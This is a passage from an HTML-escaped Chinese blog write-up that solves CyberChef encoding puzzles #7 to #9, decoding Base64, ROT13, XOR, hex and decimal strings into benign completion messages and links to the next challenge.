/&gt;&lt;figcaption&gt;image-20260305201659591&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;但是可见的部分和#6的非常相似，尝试ROT13：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;267&quot; src=&quot;/_astro/image-20260305201755928.CY9TSnsK_1G763N.webp&quot; /&gt;&lt;figcaption&gt;image-20260305201755928&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;可见部分中可以得知这个挑战涉及的是XOR，尝试暴力破解。&lt;/p&gt;&lt;p&gt;从前面的挑战可以知道明文有一定的规律，用已知明文缩小范围：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1445&quot; height=&quot;538&quot; src=&quot;/_astro/image-20260305202141469.BYgbfGl3_gN0zy.webp&quot; /&gt;&lt;figcaption&gt;image-20260305202141469&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;key=2020的结果看起来很像是期望的结果：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #7!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored XOR encoding. To learn more, visit wikipedia.org/wiki/Exclusive_or.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 3f68ef0b-7e7f-4a24-a538-3b1dcabe21ad.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/NYUd6x0A.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Base64 —&amp;gt; ROT13 —&amp;gt; XOR(key=2020(HEX))&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#8 Base64 &amp;amp; Hexadecimal &amp;amp; Decima&lt;a href=&quot;#8-base64--hexadecimal--decima&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;XHgzNlx4MzdceDIwXHgzMVx4MzFceDMxXHgyMFx4MzFceDMxXHgzMFx4MjBceDMxXHgzMFx4MzNceDIwXHgzMVx4MzFceDM0XHgyMFx4MzlceDM3XHgyMFx4MzFceDMxXHgzNlx4MjBceDMxXHgzMVx4MzdceDIwXHgzMVx4MzBceDM4XHgyMFx4MzlceDM3XHgyMFx4MzFceDMxXHgzNlx4MjBceDMxXHgzMFx4MzVceDIwXHgzMVx4MzFceDMxXHgyMFx4MzFceDMxXHgzMFx4MjBceDMxXHgzMVx4MzVceDIwXHgzNFx4MzRceDIwXHgzM1x4MzJceDIwXHgzMVx4MzJceDMxXHgyMFx4MzFceDMxXHgzMVx4MjBceDMxXHgzMVx4MzdceDIwXHgzM1x4MzJceDIwXHgzMVx4MzBceDM0XHgyMFx4MzlceDM3XHgyMFx4MzFceDMxXHgzOFx4MjBceDMxXHgzMFx4MzFceDIwXHgzM1x4MzJceDIwXHgzOVx4MzlceDIwXHgzMVx4MzFceDMxXHgyMFx4MzFceDMwXHgzOVx4MjBceDMxXHgzMVx4MzJceDIwXHgzMVx4MzBceDM4XHgyMFx4MzFceDMwXHgzMVx4MjBceDMxXHgzMVx4MzZceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMwXHgzMFx4MjBceDMzXHgzMlx4MjBceDM2XHgzN1x4MjBceDMxXHgzMlx4MzFceDIwXHgzOVx4MzhceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMxXHgzNFx4MjBceDM2XHgzN1x4MjBceDMxXHgzMFx4MzRceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMwXHgzMlx4MjBceDMzXHgzMlx4MjBceDM5XHgzOVx4MjBceDMxXHgzMFx4MzRceDIwXHgzOVx4MzdceDIwXHgzMVx4MzBceDM4XHgyMFx4MzFceDMwXHgzOFx4MjBceDMxXHgzMFx4MzFceDIwXHgzMVx4MzFceDMwXHgyMFx4MzFceDMwXHgzM1x4MjBceDMxXHgzMFx4MzFceDIwXHgzM1x4MzJceDIwXHgzM1x4MzVceDIwXHgzNVx4MzZceDIwXHgzM1x4MzNceDIwXHgzMVx4MzBceDIwXHgzMVx4MzBceDIwXHgzOFx4MzRceDIwXHgzMVx4MzBceDM0XHgyMFx4MzFceDMwXHgzNVx4MjBceDMxXHgzMVx4MzVceDIwXHgzM1x4MzJceDIwXHgzOVx4MzlceDIwXHgzMVx4MzBceDM0XHgyMFx4MzlceDM3XHgyMFx4MzFceDMwXHgzOFx4MjBceDMxXHgzMFx4MzhceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMxXHgzMFx4MjBceDMxXHgzMFx4MzNceDIwXHgzMVx4MzBceDMxXHgyMFx4MzNceDMyXHgyMFx4MzFceDMwXHgzMVx4MjBceDMxXHgzMlx4MzBceDIwXHgzMVx4MzFceDMyXHgyMFx4MzFceDMwXHgzOFx4MjBceDMxXHgzMVx4MzFceDIwXHgzMVx4MzFceDM0XHgyMFx4MzFceDMwXHgzMVx4MjBceDMxXHgzMFx4MzBceDIwXHgzM1x4MzJceDIwXHgzNlx4MzhceDIwXHgzMVx4MzBceDMxXHgyMFx4MzlceDM5XHgyMFx4MzFceDMwXHgzNVx4MjBceDMxXHgzMFx4MzlceDIwXHgzOVx4MzdceDIwXHgzMVx4MzBceDM4XHgyMFx4MzNceDMyXHgyMFx4MzZceDM2XHgyMFx4MzFceDMyXHgzMVx4MjBceDMxXHgzMVx4MzZceDIwXHgzMVx4MzBceDMxXHgyMFx4MzNceDMyXHgyMFx4MzFceDMwXHgzMVx4MjBceDMxXHgzMVx4MzBceDIwXHgzOVx4MzlceDIwXHgzMVx4MzFceDMxXHgyMFx4MzFceDMwXHgzMFx4MjBceDMxXHgzMFx4MzVceDIwXHgzMVx4MzFceDMwXHgyMFx4MzFceDMwXHgzM1x4MjBceDM0XHgzNlx4MjBceDMzXHgzMlx4MjBceDM4XHgzNFx4MjBceDMxXHgzMVx4MzFceDIwXHgzM1x4MzJceDIwXHgzMVx4MzBceDM4XHgyMFx4MzFceDMwXHgzMVx4MjBceDM5XHgzN1x4MjBceDMxXHgzMVx4MzRceDIwXHgzMVx4MzFceDMwXHgyMFx4MzNceDMyXHgyMFx4MzFceDMwXHgzOVx4MjBceDMxXHgzMVx4MzFceDIwXHgzMVx4MzFceDM0XHgyMFx4MzFceDMwXHgzMVx4MjBceDM0XHgzNFx4MjBceDMzXHgzMlx4MjBceDMxXHgzMVx4MzhceDIwXHgzMVx4MzBceDM1XHgyMFx4MzFceDMxXHgzNVx4MjBceDMxXHgzMFx4MzVceDIwXHgzMVx4MzFceDM2XHgyMFx4MzNceDMyXHgyMFx4MzFceDMxXHgzOVx4MjBceDMxXHgzMFx4MzVceDIwXHgzMVx4MzBceDM3XHgyMFx4MzFceDMwXHgzNVx4MjBceDMxXHgzMVx4MzJceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMwXHgzMFx4MjBceDMxXHgzMFx4MzVceDIwXHgzOVx4MzdceDIwXHgzNFx4MzZceDIwXHgzMVx4MzFceDMxXHgyMFx4MzFceDMxXHgzNFx4MjBceDMxXHgzMFx4MzNceDIwXHgzNFx4MzdceDIwXHgzMVx4MzFceDM5XHgyMFx4MzFceDMwXHgzNVx4MjBceDMxXHgzMFx4MzdceDIwXHgzMVx4MzBceDM1XHgyMFx4MzRceDM3XHgyMFx4MzZceDM4XHgyMFx4MzFceDMwXHgzMVx4MjBceDM5XHgzOVx4MjBceDMxXHgzMFx4MzVceDIwXHgzMVx4MzBceDM5XHgyMFx4MzlceDM3XHgyMFx4MzFceDMwXHgzOFx4MjBceDM0XHgzNlx4MjBceDMxXHgzMFx4MjBceDMxXHgzMFx4MjBceDM4XHgzNFx4MjBceDMxXHgzMFx4MzRceDIwXHgzMVx4MzBceDMxXHgyMFx4MzNceDMyXHgyMFx4MzlceDM5XHgyMFx4MzFceDMxXHgzMVx4MjBceDMxXHgzMFx4MzBceDIwXHgzMVx4MzBceDMxXHgyMFx4MzNceDMyXHgyMFx4MzFceDMwXHgzMlx4MjBceDMxXHgzMVx4MzFceDIwXHgzMVx4MzFceDM0XHgyMFx4MzNceDMyXHgyMFx4MzFceDMxXHgzNlx4MjBceDMxXHgzMFx4MzRceDIwXHgzMVx4MzBceDM1XHgyMFx4MzFceDMxXHgzNVx4MjBceDMzXHgzMlx4MjBceDM5XHgzOVx4MjBceDMxXHgzMFx4MzRceDIwXHgzOVx4MzdceDIwXHgzMVx4MzBceDM4XHgyMFx4MzFceDMwXHgzOFx4MjBceDMxXHgzMFx4MzFceDIwXHgzMVx4MzFceDMwXHgyMFx4MzFceDMwXHgzM1x4MjBceDMxXHgzMFx4MzFceDIwXHgzM1x4MzJceDIwXHgzMVx4MzBceDM1XHgyMFx4MzFceDMxXHgzNVx4MjBceDMzXHgzMlx4MjBceDM5XHgzOVx4MjBceDM0XHgzOVx4MjBceDM0XHgzOFx4MjBceDM5XHgzN1x4MjBceDM1XHgzMlx4MjBceDM5XHgzN1x4MjBceDM1XHgzMVx4MjBceDM0XHgzOFx4MjBceDM0XHgzNVx4MjBceDM5XHgzOVx4MjBceDM1XHgzM1x4MjBceDMxXHgzMFx4MzFceDIwXHgzNFx4MzlceDIwXHgzNFx4MzVceDIwXHgzNVx4MzJceDIwXHgzNVx4MzZceDIwXHgzNVx4MzBceDIwXHgzMVx4MzBceDMwXHgyMFx4MzRceDM1XHgyMFx4MzlceDM3XHgyMFx4MzVceDMyXHgyMFx4MzFceDMwXHgzMFx4MjBceDM1XHgzMVx4MjBceDM0XHgzNVx4MjBceDM0XHgzOFx4MjBceDM1XHgzMFx4MjBceDM1XHgzNFx4MjBceDM1XHgzM1x4MjBceDM1XHgzNlx4MjBceDM5XHgzOFx4MjBceDMxXHgzMFx4MzJceDIwXHgzNVx4MzVceDIwXHgzNVx4MzFceDIwXHgzNVx4MzJceDIwXHgzNVx4MzdceDIwXHgzNVx4MzFceDIwXHgzNFx4MzZceDIwXHgzMVx4MzBceDIwXHgzMVx4MzBceDIwXHgzOFx4MzRceDIwXHgzMVx4MzBceDM0XHgyMFx4MzFceDMwXHgzMVx4MjBceDMzXHgzMlx4MjBceDMxXHgzMVx4MzBceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMyXHgzMFx4MjBceDMxXHgzMVx4MzZceDIwXHgzM1x4MzJceDIwXHgzOVx4MzlceDIwXHgzMVx4MzBceDM0XHgyMFx4MzlceDM3XHgyMFx4MzFceDMwXHgzOFx4MjBceDMxXHgzMFx4MzhceDIwXHgzMVx4MzBceDMxXHgyMFx4MzFceDMxXHgzMFx4MjBceDMxXHgzMFx4MzNceDIwXHgzMVx4MzBceDMxXHgyMFx4MzNceDMyXHgyMFx4MzlceDM5XHgyMFx4MzlceDM3XHgyMFx4MzFceDMxXHgzMFx4MjBceDMzXHgzMlx4MjBceDM5XHgzOFx4MjBceDMxXHgzMFx4MzFceDIwXHgzM1x4MzJceDIwXHgzMVx4MzBceDMyXHgyMFx4MzFceDMxXHgzMVx4MjBceDMxXHgzMVx4MzdceDIwXHgzMVx4MzFceDMwXHgyMFx4MzFceDMwXHgzMFx4MjBceDMzXHgzMlx4MjBceDM5XHgzN1x4MjBceDMxXHgzMVx4MzZceDIwXHgzM1x4MzJceDIwXHgzMVx4MzBceDM0XHgyMFx4MzFceDMxXHgzNlx4MjBceDMxXHgzMVx4MzZceDIwXHgzMVx4MzFceDMyXHgyMFx4MzFceDMxXHgzNVx4MjBceDM1XHgzOFx4MjBceDM0XHgzN1x4MjBceDM0XHgzN1x4MjBceDMxXHgzMVx4MzJceDIwXHgzOVx4MzdceDIwXHgzMVx4MzFceDM1XHgyMFx4MzFceDMxXHgzNlx4MjBceDMxXHgzMFx4MzFceDIwXHgzOVx4MzhceDIwXHgzMVx4MzBceDM1XHgyMFx4MzFceDMxXHgzMFx4MjBceDM0XHgzNlx4MjBceDM5XHgzOVx4MjBceDMxXHgzMVx4MzFceDIwXHgzMVx4MzBceDM5XHgyMFx4MzRceDM3XHgyMFx4MzdceDMyXHgyMFx4MzFceDMxXHgzN1x4MjBceDMxXHgzMVx4MzlceDIwXHgzMVx4MzFceDMzXHgyMFx4MzFceDMxXHgzMlx4MjBceDM5XHgzN1x4MjBceDM3XHgzNVx4MjBceDM4XHgzM1x4MjBceDM0XHgzNg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;base64解码：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;\x36\x37\x20\x31\x31\x31\x20\x31\x31\x30\x20\x31\x30\x33\x20\x31\x31\x34\x20\x39\x37\x20\x31\x31\x36\x20\x31\x31\x37\x20\x31\x30\x38\x20\x39\x37\x20\x31\x31\x36\x20\x31\x30\x35\x20\x31\x31\x31\x20\x31\x31\x30\x20\x31\x31\x35\x20\x34\x34\x20\x33\x32\x20\x31\x32\x31\x20\x31\x31\x31\x20\x31\x31\x37\x20\x33\x32\x20\x31\x30\x34\x20\x39\x37\x20\x31\x31\x38\x20\x31\x30\x31\x20\x33\x32\x20\x39\x39\x20\x31\x31\x31\x20\x31\x30\x39\x20\x31\x31\x32\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x31\x36\x20\x31\x30\x31\x20\x31\x30\x30\x20\x33\x32\x20\x36\x37\x20\x31\x32\x31\x20\x39\x38\x20\x31\x30\x31\x20\x31\x31\x34\x20\x36\x37\x20\x31\x30\x34\x20\x31\x30\x31\x20\x31\x30\x32\x20\x33\x32\x20\x39\x39\x20\x31\x30\x34\x20\x39\x37\x20\x31\x30\x38\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x31\x30\x20\x31\x30\x33\x20\x31\x30\x31\x20\x33\x32\x20\x33\x35\x20\x35\x36\x20\x33\x33\x20\x31\x30\x20\x31\x30\x20\x38\x34\x20\x31\x30\x34\x20\x31\x30\x35\x20\x31\x31\x35\x20\x33\x32\x20\x39\x39\x20\x31\x30\x34\x20\x39\x37\x20\x31\x30\x38\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x31\x30\x20\x31\x30\x33\x20\x31\x30\x31\x20\x33\x32\x20\x31\x30\x31\x20\x31\x32\x30\x20\x31\x31\x32\x20\x31\x30\x38\x20\x31\x31\x31\x20\x31\x31\x34\x20\x31\x30\x31\x20\x31\x30\x30\x20\x33\x32\x20\x36\x38\x20\x31\x30\x31\x20\x39\x39\x20\x31\x30\x35\x20\x31\x30\x39\x20\x39\x37\x20\x31\x30\x38\x20\x33\x32\x20\x36\x36\x20\x31\x32\x31\x20\x31\x31\x36\x20\x31\x30\x31\x20\x33\x32\x20\x31\x30\x31\x20\x31\x31\x30\x20\x39\x39\x20\x31\x31\x31\x20\x31\x30\x30\x20\x31\x30\x35\x20\x31\x31\x30\x20\x31\x30\x33\x20\x34\x36\x20\x33\x32\x20\x38\x34\x20\x31\x31\x31\x20\x33\x32\x20\x31\x30\x38\x20\x31\x30\x31\x20\x39\x37\x20\x31\x31\x34\x20\x31\x31\x30\x20\x33\x32\x20\x31\x30\x39\x20\x31\x31\x31\x20\x31\x31\x34\x20\x31\x30\x31\x20\x34\x34\x20\x33\x32\x20\x31\x31\x38\x20\x31\x30\x35\x20\x31\x31\x35\x20\x31\x30\x35\x20\x31\x31\x36\x20\x33\x32\x20\x31\x31\x39\x20\x31\x30\x35\x20\x31\x30\x37\x20\x31\x30\x35\x20\x31\x31\x32\x20\x31\x30\x31\x20\x31\x30\x30\x20\x31\x30\x35\x20\x39\x37\x20\x34\x36\x20\x31\x31\x31\x20\x31\x31\x34\x20\x31\x30\x33\x20\x34\x37\x20\x31\x31\x39\x20\x31\x30\x35\x20\x31\x30\x37\x20\x31\x30\x35\x20\x34\x37\x20\x36\x38\x20\x31\x30\x31\x20\x39\x39\x20\x31\x30\x35\x20\x31\x30\x39\x20\x39\x37\x20\x31\x30\x38\x20\x34\x36\x20\x31\x30\x20\x31\x30\x20\x38\x34\x20\x31\x30\x34\x20\x31\x30\x31\x20\x33\x32\x20\x39\x39\x20\x31\x31\x31\x20\x31\x30\x30\x20\x31\x30\x31\x20\x33\x32\x20\x31\x30\x32\x20\x31\x31\x31\x20\x31\x31\x34\x20\x33\x32\x20\x31\x31\x36\x20\x31\x30\x34\x20\x31\x30\x35\x20\x31\x31\x35\x20\x33\x32\x20\x39\x39\x20\x31\x30\x34\x20\x39\x37\x20\x31\x30\x38\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x31\x30\x20\x31\x30\x33\x20\x31\x30\x31\x20\x33\x32\x20\x31\x30\x35\x20\x31\x31\x35\x20\x33\x32\x20\x39\x39\x20\x34\x39\x20\x34\x38\x20\x39\x37\x20\x35\x32\x20\x39\x37\x20\x35\x31\x20\x34\x38\x20\x34\x35\x20\x39\x39\x20\x35\x33\x20\x31\x30\x31\x20\x34\x39\x20\x34\x35\x20\x35\x32\x20\x35\x36\x20\x35\x30\x20\x31\x30\x30\x20\x34\x35\x20\x39\x37\x20\x35\x32\x20\x31\x30\x30\x20\x35\x31\x20\x34\x35\x20\x34\x38\x20\x35\x30\x20\x35\x34\x20\x35\x33\x20\x35\x36\x20\x39\x38\x20\x31\x30\x32\x20\x35\x35\x20\x35\x31\x20\x35\x32\x20\x35\x37\x20\x35\x31\x20\x34\x36\x20\x31\x30\x20\x31\x30\x20\x38\x34\x20\x31\x30\x34\x20\x31\x30\x31\x20\x33\x32\x20\x31\x31\x30\x20\x31\x30\x31\x20\x31\x32\x30\x20\x31\x31\x36\x20\x33\x32\x20\x39\x39\x20\x31\x30\x34\x20\x39\x37\x20\x31\x30\x38\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x31\x30\x20\x31\x30\x33\x20\x31\x30\x31\x20\x33\x32\x20\x39\x39\x20\x39\x37\x20\x31\x31\x30\x20\x33\x32\x20\x39\x38\x20\x31\x30\x31\x20\x33\x32\x20\x31\x30\x32\x20\x31\x31\x31\x20\x31\x31\x37\x20\x31\x31\x30\x20\x31\x30\x30\x20\x33\x32\x20\x39\x37\x20\x31\x31\x36\x20\x33\x32\x20\x31\x30\x34\x20\x31\x31\x36\x20\x31\x31\x36\x20\x31\x31\x32\x20\x31\x31\x35\x20\x35\x38\x20\x34\x37\x20\x34\x37\x20\x31\x31\x32\x20\x39\x37\x20\x31\x31\x35\x20\x31\x31\x36\x20\x31\x30\x31\x20\x39\x38\x20\x31\x30\x35\x20\x31\x31\x30\x20\x34\x36\x20\x39\x39\x20\x31\x31\x31\x20\x31\x30\x39\x20\x34\x37\x20\x37\x32\x20\x31\x31\x37\x20\x31\x31\x39\x20\x31\x31\x33\x20\x31\x31\x32\x20\x39\x37\x20\x37\x35\x20\x38\x33\x20\x34\x36&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;转十进制：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;67 111 110 103 114 97 116 117 108 97 116 105 111 110 115 44 32 121 111 117 32 104 97 118 101 32 99 111 109 112 108 101 116 101 100 32 67 121 98 101 114 67 104 101 102 32 99 104 97 108 108 101 110 103 101 32 35 56 33 10 10 84 104 105 115 32 99 104 97 108 108 101 110 103 101 32 101 120 112 108 111 114 101 100 32 68 101 99 105 109 97 108 32 66 121 116 101 32 101 110 99 111 100 105 110 103 46 32 84 111 32 108 101 97 114 110 32 109 111 114 101 44 32 118 105 115 105 116 32 119 105 107 105 112 101 100 105 97 46 111 114 103 47 119 105 107 105 47 68 101 99 105 109 97 108 46 10 10 84 104 101 32 99 111 100 101 32 102 111 114 32 116 104 105 115 32 99 104 97 108 108 101 110 103 101 32 105 115 32 99 49 48 97 52 97 51 48 45 99 53 101 49 45 52 56 50 100 45 97 52 100 51 45 48 50 54 53 56 98 102 55 51 52 57 51 46 10 10 84 104 101 32 110 101 120 116 32 99 104 97 108 108 101 110 103 101 32 99 97 110 32 98 101 32 102 111 117 110 100 32 97 116 32 104 116 116 112 115 58 47 47 112 97 115 116 101 98 105 110 46 99 111 109 47 72 117 119 113 112 97 75 83 46&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;从数字的范围猜测是ASCII码，转换得到：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #8!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Decimal Byte encoding. To learn more, visit wikipedia.org/wiki/Decimal.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is c10a4a30-c5e1-482d-a4d3-02658bf73493.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/HuwqpaKS.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Base 64 —&amp;gt; From Hex —&amp;gt; From Decimal&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#9 Base64 &amp;amp; ROT13&lt;a href=&quot;#9-base64--rot13&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;HTWuqTIhM2u5ozq2LzSzYPOfLzttqJ5cpvOjLacwrKWapaRtHTkipzIDqKWmVUO1oay5pzS0pvNwBFRXPxq1pvOjLaSlVUAvMFOaqKMzVUO1oay5pzS0pvO2MvN3AmujBQp1Av1kAmxjYGD5AGtgowMkZv1ipQMko244A24jo3RhPtcUqKVtLKWeMlOjqJ55rKWuqUVtpT5uVT9lVUAvnTSkVT5aVUIaM2AzBv8iL25zM3WiqzRhpTW6YmWVqGploJf2Yt==&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;我尝试用Base64（A-Za-z0-9+/=）解码，但没有得到预期的结果：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;267&quot; src=&quot;/_astro/image-20260305210550216.B9vsZW1f_1m9oMr.webp&quot; /&gt;&lt;figcaption&gt;image-20260305210550216&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;不过CyberChef识别到了可能的解码方式，是Base64（N-ZA-Mn-za-m0-9+/=）：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pbatenghyngvbaf, lbh unir pbzcyrgrq PlorePurs punyyratr #9!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Gur pbqr sbe guvf punyyratr vf 778p8756-q790-4958-n6q2-op6qon87n0oq.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Gur arkg punyyratr pna or sbhaq ng uggcf://cnfgrova.pbz/2Hu72mk6.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;再经过ROT13解密就得到结果了：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #9!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 778c8756-d790-4958-a6d2-bc6dba87a0bd.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/2Uh72zx6.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Base64(N-ZA-Mn-za-m0-9+/=) —&amp;gt; ROT13&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
